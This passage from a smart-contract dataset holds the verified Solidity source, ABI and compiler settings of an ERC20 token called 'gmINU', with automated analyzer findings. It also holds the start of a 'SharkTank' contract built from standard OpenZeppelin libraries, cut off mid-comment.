":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"payoutLargeRedistribution","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"payoutMediumRedistribution","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"startIndex","type":"uint256"}],"name":"payoutSmallRedistribution","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"perBatchSize","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"newSize","type":"uint32"}],"name":"setBatchSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setTransactionFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setminHoldingThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startMansion","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"transactionFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniSwapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"walletAddress","type":"address"},{"internalType":"string","name":"reason","type":"string"}],"name":"withdrawOperationFund","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
v0.8.0+commit.c7dfd78e
true
200
Default
None
false
ipfs://a5ee3a4e61e2ca0f015ea4309021696a96f3f31d5c84981adf201f30cfd20eb9
gmINU
0x895e26d0a0d91bfc56ff961f5a20471d141659cb
Solidity
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract gmINU is IERC20 { string public constant name = "gmINU"; string public constant symbol = "gmINU"; uint8 public constant decimals = 18; event Approval(address indexed tokenOwner, address indexed spender, uint tokens); event Transfer(address indexed from, address indexed to, uint tokens); mapping(address => uint256) balances; mapping(address => mapping (address => uint256)) allowed; uint256 totalSupply_; using SafeMath for uint256; constructor(uint256 total) public { totalSupply_ = total; balances[msg.sender] = totalSupply_; } function totalSupply() public override view returns (uint256) { return totalSupply_; } function balanceOf(address tokenOwner) public override view returns (uint256) { return balances[tokenOwner]; } function transfer(address receiver, uint256 numTokens) public override returns (bool) { require(numTokens <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(numTokens); balances[receiver] = balances[receiver].add(numTokens); emit Transfer(msg.sender, receiver, numTokens); return true; } function approve(address delegate, uint256 numTokens) public override returns (bool) { allowed[msg.sender][delegate] = numTokens; emit Approval(msg.sender, delegate, numTokens); return true; } function allowance(address owner, address delegate) public override view returns (uint) { return allowed[owner][delegate]; } function transferFrom(address owner, address buyer, uint256 numTokens) public override returns (bool) { require(numTokens <= balances[owner]); require(numTokens <= allowed[owner][msg.sender]); balances[owner] = balances[owner].sub(numTokens); allowed[owner][msg.sender] = allowed[owner][msg.sender].sub(numTokens); balances[buyer] = balances[buyer].add(numTokens); emit Transfer(owner, buyer, numTokens); return true; } } library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
[{"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["24", "23", "22"]}]
[{"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"gmINU.sol": [64, 65, 61, 62, 63]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"gmINU.sol": [45, 46, 47]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"gmINU.sol": [49, 50, 51]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"gmINU.sol": [53, 54, 55, 56, 57, 58, 59]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"gmINU.sol": [71, 72, 73, 74, 75, 76, 77, 78, 79, 80]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"gmINU.sol": [67, 68, 69]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"gmINU.sol": [2]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"gmINU.sol": [20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81]}}]
[]
[{"rule": "SOLIDITY_ERC20_APPROVE", "line": 61, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 2, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 37, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 31, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 33, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 35, "severity": 1}]
[{"inputs":[{"internalType":"uint256","name":"total","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"tokenOwner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"delegate","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"delegate","type":"address"},{"internalType":"uint256","name":"numTokens","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"},{"internalType":"uint256","name":"numTokens","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"buyer","type":"address"},{"internalType":"uint256","name":"numTokens","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
v0.6.12+commit.27d51765
false
200
0000000000000000000000000000000000000000033b2e3c9fd0803ce8000000
Default
Unlicense
false
ipfs://4c4cb122508c7a5b71b38ca7add968b725e938915953bdeca6ca155ddcdeba27
SharkTank
0x719492864eaae1a36da62308b323e79489314bb8
Solidity
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @openzeppelin/contracts/utils/EnumerableSet.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File: @openzeppelin/contracts/GSN/Context.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See 